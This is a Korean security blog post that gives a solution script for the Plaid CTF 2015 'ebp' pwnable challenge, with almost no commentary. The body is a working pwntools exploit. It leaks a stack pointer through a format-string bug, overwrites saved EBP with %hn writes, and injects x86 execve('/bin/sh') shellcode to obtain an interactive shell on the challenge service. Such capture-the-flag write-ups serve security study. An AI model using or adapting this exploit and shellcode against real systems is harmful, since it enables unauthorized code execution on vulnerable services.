Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

Plaid CTF 2015 ebp 본문

Security/Pwnable

Plaid CTF 2015 ebp

Cdor1 2016. 9. 10. 06:13

후기 : fsb 죽어라!!



from pwn import *
context.log_level = 'debug'

sh = '\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89'
sh += '\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80'

s = remote('localhost',4000)

s.sendline('%4$x')
ebp = s.recvuntil('\n')
ebp = int(ebp,16)+4 & 0xffff
  
payload = '%' + str(ebp) + 'c%4$hn'
s.sendline(payload)
s.recvuntil('\n')

exp = sh + '%' + '41060' + 'c' + '%12$hn'
s.sendline(exp)
s.recvuntil('\n')

s.interactive()

'Security > Pwnable' 카테고리의 다른 글

codegate 2015 yocto  (0) 2016.09.15
Codegate 2014 Quals minibomb  (0) 2016.09.11
Plaid CTF 2014 ezhp  (0) 2016.09.10
Plaid CTF 2014 kappa  (0) 2016.09.04
FTZ level10  (0) 2016.04.30
Comments